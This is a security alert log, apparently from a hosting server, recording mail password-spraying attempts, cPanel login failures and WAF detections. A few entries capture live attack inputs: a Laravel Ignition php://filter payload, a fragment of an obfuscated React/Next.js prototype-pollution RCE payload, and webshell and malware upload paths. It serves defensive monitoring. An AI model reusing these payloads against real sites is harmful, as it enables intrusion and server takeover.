name: IM360 WAF: Found crawler not in whitelist
abuser: 34.143.144.231
country_id: 1880251
domain: interceptorglobal.in
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.27||T:APACHE||RA:34.143.144.231||TA:34.143.144.231||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.255.126.208
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:10-40.185.255.126.208||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.51.12.142
country_id: 1835841
description:
2026-07-10 10:43:48 dovecot_login authenticator failed for H=([220.178.39.106]) [14.51.12.142]:51992: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 191.101.208.23
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.27||T:APACHE||SC:/home/cochinbigbandsho/public_html/index.php||User:cochinbigbandsho||WPU:||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 191.101.208.23
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:162759||Sizes:952||Combined size:952||User:cochinbigbandsho||WPU:||Filename:galexbot-qq7fv2za.php||Scanned:/tmp//20260710-104420-alB_rNEsqzVlv4kZwiKoYQAAAUU-file-V2enBO||SC:/home/cochinbigbandsho/public_html/index.php||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.212.67.79
country_id: 6252001
description:
2026-07-10 10:46:28 dovecot_login authenticator failed for H=([49.125.201.79]) [38.212.67.79]:45841: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.255.134
country_id: 1269750
description:
2026-07-10 10:46:34 dovecot_login authenticator failed for H=([49.124.155.175]) [125.23.255.134]:59872: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.111.136.210
country_id: 294640
description:
2026-07-10 10:46:01 dovecot_login authenticator failed for H=(187-8-89-120.customer.tdatabrasil.net.br) [84.111.136.210]:49071: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.250.2
country_id: 1269750
description:
2026-07-10 10:46:57 dovecot_login authenticator failed for H=([218.92.251.198]) [117.250.250.2]:58252: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 184.178.172.17
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://www.diyijc.com/\">\xe7\xac\xac\xe4\xb8\x80\xe6\x95\x99\xe7\xa8\x8b\xe7\xbd\x91\xe5\xae\x98\xe7\xbd\x91</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 2401:4900:8fdd:a8f0:94b9:ef78:9888:ffb5
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.27||T:APACHE||MVN:ARGS:jform[defaultvalue][f_checkbox_attribute_class]||MV: visCSStop10 ||


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 2401:4900:8fdd:a8f0:94b9:ef78:9888:ffb5
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.27||T:APACHE||MVN:ARGS:jform[defaultvalue][f_select_attribute_class]||MV: visCSSinput ||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.152.102.54
country_id: 1168579
description:
2026-07-10 10:58:26 dovecot_login authenticator failed for H=(177-72-87-7.static.as262543.net.br) [119.152.102.54]:43024: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.212.9.122
country_id: 1835841
description:
2026-07-10 10:58:45 dovecot_login authenticator failed for H=([70.166.167.44]) [123.212.9.122]:50851: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 114.31.183.239
country_id: 1269750
domain: arcrealtors.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:25138.arcrealtors.com.au||ServerName:arcrealtors.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9244c38c9e84682c661067e3d7727b617989f08a||Title:0xd701187d||RSV:8.27||T:APACHE||


plugin: ossec
rule: 5740
name: ssh connection reset by peer
description:
Jul 10 11:04:57 vps sshd[1465841]: error: kex_exchange_identification: read: Connection reset by peer


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.131.63
country_id: 99237
description:
2026-07-10 11:08:44 dovecot_login authenticator failed for H=(static.ftth.bgn.117.211.77.86.bsnl.in) [65.20.131.63]:46577: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.29.132
country_id: 1668284
description:
2026-07-10 11:09:08 dovecot_login authenticator failed for H=111-70-29-132.emome-ip.hinet.net (179.185.69.43.static.gvt.net.br) [111.70.29.132]:52415: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.28.226.125
country_id: 1036973
description:
2026-07-10 11:11:58 dovecot_login authenticator failed for H=([183.171.61.10]) [196.28.226.125]:40862: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.148.99.59
country_id: 6252001
description:
2026-07-10 11:12:11 dovecot_login authenticator failed for H=(ctw.webcas.net) [38.148.99.59]:33126: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.158.10
country_id: 99237
description:
2026-07-10 11:12:38 dovecot_login authenticator failed for H=([166.169.210.84]) [65.20.158.10]:43476: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.144.79.102
country_id: 1269750
description:
2026-07-10 11:12:47 dovecot_login authenticator failed for H=(mx-ll-171.6.10-57.dynamic.3bb.in.th) [59.144.79.102]:54504: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.6.91
country_id: 1668284
description:
2026-07-10 11:15:34 dovecot_login authenticator failed for H=(170.193.235.186.in-addr.arpa.verointernet.com.br) [101.13.6.91]:39262: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-07-10 11:16:11 dovecot_login authenticator failed for H=([67.201.57.102]) [171.244.60.35]:46834: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.124.111.122
country_id: 2077456
description:
2026-07-10 11:18:04 dovecot_login authenticator failed for H=27-124-111-122.static.as58511.net (mx-ll-171.6.10-57.dynamic.3bb.in.th) [27.124.111.122]:56830: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.30.223.119
country_id: 1835841
description:
2026-07-10 11:18:26 dovecot_login authenticator failed for H=([112.146.186.63]) [114.30.223.119]:52360: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.184.155.242
country_id: 1269750
description:
2026-07-10 11:18:42 dovecot_login authenticator failed for H=(173-181-131-247-ent-barlow-staticipwest.wireless.telus.com) [103.184.155.242]:37152: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.200.184
country_id: 660013
description:
2026-07-10 11:22:21 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc8-184.dhcp.inet.fi ([178.178.194.151]) [80.223.200.184]:46948: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.105.229.237
country_id: 1835841
description:
2026-07-10 11:23:58 dovecot_login authenticator failed for H=([174.75.211.211]) [211.105.229.237]:33518: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.232.211
country_id: 1269750
description:
2026-07-10 11:25:13 dovecot_login authenticator failed for H=([123.52.202.92]) [106.201.232.211]:37289: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.235.66.253
country_id: 1269750
description:
2026-07-10 11:25:31 dovecot_login authenticator failed for H=([125.19.169.115]) [111.235.66.253]:38649: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.204.88
country_id: 99237
description:
2026-07-10 11:25:58 dovecot_login authenticator failed for H=([184.181.217.198]) [65.20.204.88]:37165: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.220.236.203
country_id: 660013
description:
2026-07-10 11:27:35 dovecot_login authenticator failed for H=([223.243.24.178]) [62.220.236.203]:56418: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.72.145.120
country_id: 1835841
description:
2026-07-10 11:28:14 dovecot_login authenticator failed for H=(eth1.1172.vrrp.fw05.1739.la3.ml.zerolag.com) [61.72.145.120]:56102: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.23.252
country_id: 1668284
description:
2026-07-10 11:28:27 dovecot_login authenticator failed for H=111-70-23-252.emome-ip.hinet.net ([180.100.212.177]) [111.70.23.252]:42817: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.45.84.119
country_id: 2589581
description:
2026-07-10 11:30:23 dovecot_login authenticator failed for H=(abts-mh-dynamic-221.40.169.122.airtelbroadband.in) [129.45.84.119]:51304: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.246
country_id: 1036973
description:
2026-07-10 11:31:18 dovecot_login authenticator failed for H=(90-228-229-182-no600.tbcn.telia.com) [197.219.228.246]:52640: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 141.255.164.66
country_id: 2658434
domain: cochinbigbandshow.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/qhswezam/fonts/csmwubgo.PHP||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.118.224.138
country_id: 1835841
description:
2026-07-10 11:31:05 dovecot_login authenticator failed for H=([49.124.151.22]) [210.118.224.138]:53119: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.1.66.154
country_id: 1694008
description:
2026-07-10 11:34:46 dovecot_login authenticator failed for H=([218.159.144.187]) [210.1.66.154]:52169: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 45.91.20.69
country_id: 3175395
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://en.chatruletka-18.com/\">chatruletka 18+</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.211.96
country_id: 99237
description:
2026-07-10 11:35:25 dovecot_login authenticator failed for H=(static-200-105-141-161.acelerate.net) [65.20.211.96]:34768: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 45.91.20.130
country_id: 3175395
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://de.chatruletka-18.com/\">chatruletka 18+</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.148.192
country_id: 1733045
description:
2026-07-10 11:42:11 dovecot_login authenticator failed for H=([199.116.114.10]) [49.124.148.192]:55040: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.134.83.141
country_id: 1835841
description:
2026-07-10 11:42:56 dovecot_login authenticator failed for H=([101.13.5.34]) [128.134.83.141]:45562: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.248.243.181
country_id: 2542007
description:
2026-07-10 11:50:22 dovecot_plain authenticator failed for H=(pumus) [41.248.243.181]:38716: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.91.103.202
country_id: 6252001
description:
2026-07-10 11:50:25 dovecot_plain authenticator failed for H=c-24-91-103-202.hsd1.ma.comcast.net (mableres) [24.91.103.202]:33882: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.197.174
country_id: 1269750
description:
2026-07-10 11:50:17 dovecot_plain authenticator failed for H=(attige) [152.52.197.174]:43362: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.77.214.59
country_id: 1835841
description:
2026-07-10 11:50:35 dovecot_login authenticator failed for H=([49.124.153.15]) [220.77.214.59]:53385: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 77.68.87.67
country_id: 2635167
description:
[2026-07-10 11:51:07 +0530] info [whostmgrd] 77.68.87.67 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.68.87.67
country_id: 2635167
description:
[2026-07-10 11:51:07 +0530] info [whostmgrd] 77.68.87.67 - root "GET /cpsess6413390583/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 34.158.37.37
country_id: 1880251
domain: cochinbigbandshow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.27||T:APACHE||MV:/images/up.php||SC:/home/cochinbigbandsho/public_html/images/up.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.136.8.69
country_id: 2661886
description:
2026-07-10 11:57:25 dovecot_login authenticator failed for H=h-79-136-8-69.a463.priv.bahnhof.se ([186.238.157.140]) [79.136.8.69]:56802: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.159.144.187
country_id: 1835841
description:
2026-07-10 11:56:57 dovecot_login authenticator failed for H=([200.216.172.182]) [218.159.144.187]:59626: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.73.230.102
country_id: 6252001
description:
2026-07-10 11:58:10 dovecot_login authenticator failed for H=65-73-230-102.3457ff10b7f3305facc44dbac08ed40f.ip.frontiernet.net (red.138.118.213.204.ssservicios.com.ar) [65.73.230.102]:37364: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.227.228.131
country_id: 1835841
description:
2026-07-10 11:58:14 dovecot_login authenticator failed for H=([103.168.57.31]) [1.227.228.131]:44712: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.138
country_id: 1269750
description:
2026-07-10 11:58:27 dovecot_login authenticator failed for H=([1.212.225.99]) [182.95.181.138]:39322: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77469916
abuser: 51.79.191.235
country_id: 1880251
domain: jaashsupplies.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:2larp.php||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 162.55.132.54
country_id: 2921044
domain: cochinbigbandshow.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cochinbigbandshow.com/contact-us HTTP/1.0||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.250.25.62
country_id: 6251999
description:
2026-07-10 12:16:05 dovecot_login authenticator failed for H=([182.78.10.145]) [205.250.25.62]:49344: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.158.2
country_id: 1269750
description:
2026-07-10 12:16:15 dovecot_login authenticator failed for H=([183.171.149.196]) [125.19.158.2]:56290: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.106
country_id: 1269750
description:
2026-07-10 12:17:21 dovecot_login authenticator failed for H=([117.39.63.46]) [182.95.228.106]:47730: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.229.1.186
country_id: 6252001
description:
2026-07-10 12:16:58 dovecot_login authenticator failed for H=c-71-229-1-186.hsd1.al.comcast.net ([36.137.38.119]) [71.229.1.186]:37466: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.218.247.234
country_id: 1522867
description:
2026-07-10 12:17:56 dovecot_login authenticator failed for H=([211.53.58.1]) [89.218.247.234]:47488: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.211.96
country_id: 99237
description:
2026-07-10 12:20:02 dovecot_login authenticator failed for H=([98.181.137.69]) [65.20.211.96]:51720: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.51.12.142
country_id: 1835841
description:
2026-07-10 12:26:51 dovecot_login authenticator failed for H=([210.56.12.205]) [14.51.12.142]:58424: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.70.157.25
country_id: 6252001
description:
2026-07-10 12:26:24 dovecot_login authenticator failed for H=([49.124.152.157]) [152.70.157.25]:60634: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.38.177.105
country_id: 1835841
description:
2026-07-10 12:32:42 dovecot_login authenticator failed for H=([174.75.211.198]) [14.38.177.105]:38409: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.145.35
country_id: 1269750
description:
2026-07-10 12:32:16 dovecot_login authenticator failed for H=([103.120.116.162]) [103.174.145.35]:46315: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.161.42.97
country_id: 1835841
description:
2026-07-10 12:32:32 dovecot_login authenticator failed for H=([49.124.154.170]) [112.161.42.97]:38520: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.116.66
country_id: 1269750
description:
2026-07-10 12:32:57 dovecot_login authenticator failed for H=([49.124.153.64]) [182.95.116.66]:47598: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.178.174
country_id: 1269750
description:
2026-07-10 12:35:20 dovecot_login authenticator failed for H=(157.ip-51-75-142.eu) [182.95.178.174]:47852: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.107.180
country_id: 1269750
description:
2026-07-10 12:36:09 dovecot_login authenticator failed for H=([49.124.148.190]) [117.250.107.180]:40436: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.56.174.63
country_id: 3686110
description:
2026-07-10 12:38:07 dovecot_login authenticator failed for H=([111.206.233.34]) [181.56.174.63]:40358: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 185.213.83.33
country_id: 1643084
domain: futuracare.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.27||T:APACHE||MV:/images/658aa906c2fa85f2.php||SC:/home/futuracarecom/public_html/images/658aa906c2fa85f2.php||


plugin: modsec
rule: 77316775
name: IM360 WAF: Laravel Ignition RCE via stream wrapper (CVE-2021-3129)
abuser: 86.48.10.207
country_id: 1880251
domain: www.alnayza.com
description:
IM360 WAF: Laravel Ignition RCE via stream wrapper (CVE-2021-3129)||RSV:8.27||T:APACHE||MV:php://filter/read=consumed/resource=../storage/logs/laravel.log||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.29.140.188
country_id: 1835841
description:
2026-07-10 12:42:50 dovecot_login authenticator failed for H=([49.124.149.47]) [120.29.140.188]:51082: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.72.138.160
country_id: 1835841
description:
2026-07-10 12:43:12 dovecot_login authenticator failed for H=(ipmapt-72-195-34-34.oc.oc.cox.net) [220.72.138.160]:53298: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.138.3
country_id: 99237
description:
2026-07-10 12:46:26 dovecot_login authenticator failed for H=([67.201.58.185]) [65.20.138.3]:56550: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.129.75.178
country_id: 1835841
description:
2026-07-10 12:46:05 dovecot_login authenticator failed for H=(red.138.118.215.192.ssservicios.com.ar) [121.129.75.178]:56001: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.59.252.103
country_id: 1819730
description:
2026-07-10 12:46:53 dovecot_login authenticator failed for H=cm125-59-252-103.hkcable.com.hk ([149.54.62.114]) [125.59.252.103]:45816: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 41.242.112.86
country_id: 2300660
domain: cochinbigbandshow.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:60395.cochinbigbandshow.com||ServerName:cochinbigbandshow.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:117c47598e54199357050b6fc9b03dc12a6bc816||Title:0x12d1ae4c||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.192.194.218
country_id: 1269750
domain: combinations.in
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:65151.combinations.in||ServerName:combinations.in||Method:metaWeblog.newPost||BlogID:1||TitleSHA:20a5e144a042b4e3a264c9d0d11d590a790e0eda||Title:0x93d0379d||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.25.159.170
country_id: 2661886
description:
2026-07-10 13:03:27 dovecot_login authenticator failed for H=81-25-159-170.junet.se ([203.229.208.123]) [81.25.159.170]:51456: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.204.179
country_id: 99237
description:
2026-07-10 13:03:43 dovecot_login authenticator failed for H=([182.90.248.108]) [65.20.204.179]:58346: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.230.74
country_id: 1269750
description:
2026-07-10 13:07:27 dovecot_login authenticator failed for H=(cyrela.static.gvt.net.br) [182.95.230.74]:43272: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.147.248.23
country_id: 1269750
description:
2026-07-10 13:07:10 dovecot_login authenticator failed for H=([125.177.88.144]) [103.147.248.23]:46998: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.254.190.160
country_id: 3865483
description:
2026-07-10 13:08:07 dovecot_login authenticator failed for H=([211.223.179.243]) [128.254.190.160]:47486: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.29.124
country_id: 1668284
description:
2026-07-10 13:08:24 dovecot_login authenticator failed for H=111-70-29-124.emome-ip.hinet.net ([49.124.153.41]) [111.70.29.124]:40378: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.244.159.249
country_id: 99237
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es35?Itemid=101&catid=18 HTTP/1.1||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: elegantautomotives.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"reason\":-1,\"__9c1b01f6\":\"6bd4\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"__8f280a97\":\"7f34\",\"_response\":{\"_prefix\":\"var xo=[].slice.call(arguments,1)[0];var qowvj=xo;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.200.42.112
country_id: 1880251
description:
2026-07-10 13:10:40 dovecot_login authenticator failed for H=([50.223.176.171]) [118.200.42.112]:51408: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.235.110
country_id: 1269750
description:
2026-07-10 13:12:21 dovecot_login authenticator failed for H=([27.39.130.144]) [128.185.235.110]:46666: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 111.90.184.28
country_id: 1831722
description:
[2026-07-10 13:13:53 +0530] info [whostmgrd] 111.90.184.28 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.207.225.36
country_id: 1835841
description:
2026-07-10 13:16:16 dovecot_login authenticator failed for H=([192.111.135.19]) [175.207.225.36]:36539: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.81.229.179
country_id: 6252001
description:
2026-07-10 13:16:14 dovecot_login authenticator failed for H=([223.100.224.75]) [192.81.229.179]:49398: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.41.207.112
country_id: 953987
description:
2026-07-10 13:16:28 dovecot_login authenticator failed for H=([218.94.115.164]) [196.41.207.112]:53335: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-10 13:16:41 dovecot_login authenticator failed for H=([219.254.124.110]) [119.92.76.210]:36646: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.235.27.139
country_id: 6252001
description:
2026-07-10 13:18:31 dovecot_login authenticator failed for H=c-71-235-27-139.hsd1.vt.comcast.net (wsip-184-178-172-10.rn.hr.cox.net) [71.235.27.139]:42038: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
